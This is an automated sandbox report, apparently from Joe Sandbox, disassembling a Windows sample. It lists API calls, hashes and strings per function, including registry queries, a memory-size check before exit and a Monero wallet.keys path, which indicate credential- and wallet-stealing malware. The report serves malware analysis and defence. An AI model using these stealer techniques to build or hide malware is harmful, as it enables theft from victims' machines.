Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: f8e03685ca82366c519bc1ca4d86a277d93dd32102ddc27a9a46790caa87a0a6
Instruction ID: 879cf2dee39f4cd148aafe43f1ff38c9a9a13b4409291ffc8c86d29b528fba59
Opcode Fuzzy Hash: f8e03685ca82366c519bc1ca4d86a277d93dd32102ddc27a9a46790caa87a0a6
Instruction Fuzzy Hash: BC313AB4A00209EFDB14DFA4D889FAE7BB5FF48310F108158E905A7390D778AA41DFA1

Function 00584780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0130E1C0), ref: 005847DB

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

lstrcat.KERNEL32(?,00000000), ref: 00584801
lstrcat.KERNEL32(?,?), ref: 00584820
lstrcat.KERNEL32(?,?), ref: 00584834
lstrcat.KERNEL32(?,012FB870), ref: 00584847
lstrcat.KERNEL32(?,?), ref: 0058485B
lstrcat.KERNEL32(?,0130D7E8), ref: 0058486F

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 00588D90: GetFileAttributesA.KERNEL32(00000000,?,00571B54,?,?,0059564C,?,?,00590E1F), ref: 00588D9F

Part of subcall function 00584570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00584580
Part of subcall function 00584570: RtlAllocateHeap.NTDLL(00000000), ref: 00584587
Part of subcall function 00584570: wsprintfA.USER32 ref: 005845A6
Part of subcall function 00584570: FindFirstFileA.KERNEL32(?,?), ref: 005845BD

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 2b2c4d40f52b8940198329c040aac264252289d5e23a49515e88d849d53b4818
Instruction ID: a2de5b7997009df1b72c2e02774bc9923959643efa49554fae2aaf4b5f098fb4
Opcode Fuzzy Hash: 2b2c4d40f52b8940198329c040aac264252289d5e23a49515e88d849d53b4818
Instruction Fuzzy Hash: 223151B290020967CB15FBB0DC89EE9777CBB98700F404589B759A6081EE7497C98F95

Function 00571220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0057123E
__aulldiv.LIBCMT ref: 00571258
__aulldiv.LIBCMT ref: 00571266
ExitProcess.KERNEL32 ref: 00571294

Strings

@, xrefs: 00571233

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 4a50b56ed6a43c5d68a510cdb9c77e047c63212f6ba89e7e1a07aeecf0a9330a
Instruction ID: 89feef4d401b1f23a2fa1192a4c33281c04ede2deb9efb25dc34d8da3f0949a7
Opcode Fuzzy Hash: 4a50b56ed6a43c5d68a510cdb9c77e047c63212f6ba89e7e1a07aeecf0a9330a
Instruction Fuzzy Hash: 9A014BB0944308FAEB10EBE4DC49BAEBBB8BB44701F208148E709B62C1DA745941979D

Function 005870D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

memset.MSVCRT ref: 0058716A

Strings

sX, xrefs: 00587111
sX, xrefs: 005872AE, 00587179, 0058717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0058718C

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: sX$sX$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-2135538492
Opcode ID: 50f80342c9e05ee30996f17e60bf0fcff717f3ec7142f0bbba7b8c11fbf366d7
Instruction ID: 241d9d89b1610370793d6ab801b3e7ec93c9c78f8272e5bd330080c2a332cb40
Opcode Fuzzy Hash: 50f80342c9e05ee30996f17e60bf0fcff717f3ec7142f0bbba7b8c11fbf366d7
Instruction Fuzzy Hash: 865160B0D0421D9BDB14FB90DC89BEEBB74BF98304F2044A9E91576181EB746E88CF55

Function 00587E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587E37
RtlAllocateHeap.NTDLL(00000000), ref: 00587E3E
RegOpenKeyExA.KERNEL32(80000002,012FC068,00000000,00020119,?), ref: 00587E5E
RegQueryValueExA.KERNEL32(?,0130DA08,00000000,00000000,000000FF,000000FF), ref: 00587E7F
RegCloseKey.ADVAPI32(?), ref: 00587E92

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 340b2be782e7c5d324c8006a2d861eb294cb010717c325cf0289cb839a14bac9
Instruction ID: bed458162a928124a3fed9cbd9b68e8bd131a1e10b69919cda41f4a565a05315
Opcode Fuzzy Hash: 340b2be782e7c5d324c8006a2d861eb294cb010717c325cf0289cb839a14bac9
Instruction Fuzzy Hash: 8B1151B1A44209FBD704EF94DD4AF7BBBBCFB08710F108659FA05A7680D77858008BA5

Function 005712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005712B4
RtlAllocateHeap.NTDLL(00000000), ref: 005712BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005712F5
RegCloseKey.ADVAPI32(?), ref: 005712FF

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0f4ffb604e12cef6dadadd44abdd180a4d9e5244d599da7bf496b4a4259d8ae2
Instruction ID: 05607764c7ca9864a4afde9e32e0b3f3ffd390025b59d3e15bd8c8e3bc70bd40
Opcode Fuzzy Hash: 0f4ffb604e12cef6dadadd44abdd180a4d9e5244d599da7bf496b4a4259d8ae2
Instruction Fuzzy Hash: 1401E1B9A40308BBDB04DFE4DC59FAEB7BCEB48701F10C259FA0597280DA759A018F55

Function 0057A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01309300,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0057A0BD
LoadLibraryA.KERNEL32(0130D8E8), ref: 0057A146

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A820: lstrlen.KERNEL32(00574F05,?,?,00574F05,00590DDE), ref: 0058A82B
Part of subcall function 0058A820: lstrcpy.KERNEL32(00590DDE,00000000), ref: 0058A885

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

SetEnvironmentVariableA.KERNEL32(01309300,00000000,00000000,?,005912D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00590AFE), ref: 0057A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0057A0B2, 0057A0C6, 0057A0DC

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 12a0287856e7d350c63d22056c40ec597af79ff615f884902d378de447bf40c6
Instruction ID: b8199a79f438e4066b1d36c81ea8e729b2efd10feca95670bac4a9f64ef1251a
Opcode Fuzzy Hash: 12a0287856e7d350c63d22056c40ec597af79ff615f884902d378de447bf40c6
Instruction Fuzzy Hash: CF411EB5901205BFDB04FF64FC49FA93BB4BB88305F148219E505A32A1EB3C5944DB67

Function 0057A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 00588B60: GetSystemTime.KERNEL32(00590E1A,0130AAF0,005905AE,?,?,005713F9,?,0000001A,00590E1A,00000000,?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 00588B86

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0057A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0057A3FF
lstrlen.KERNEL32(00000000), ref: 0057A6BC

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

DeleteFileA.KERNEL32(00000000), ref: 0057A743

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
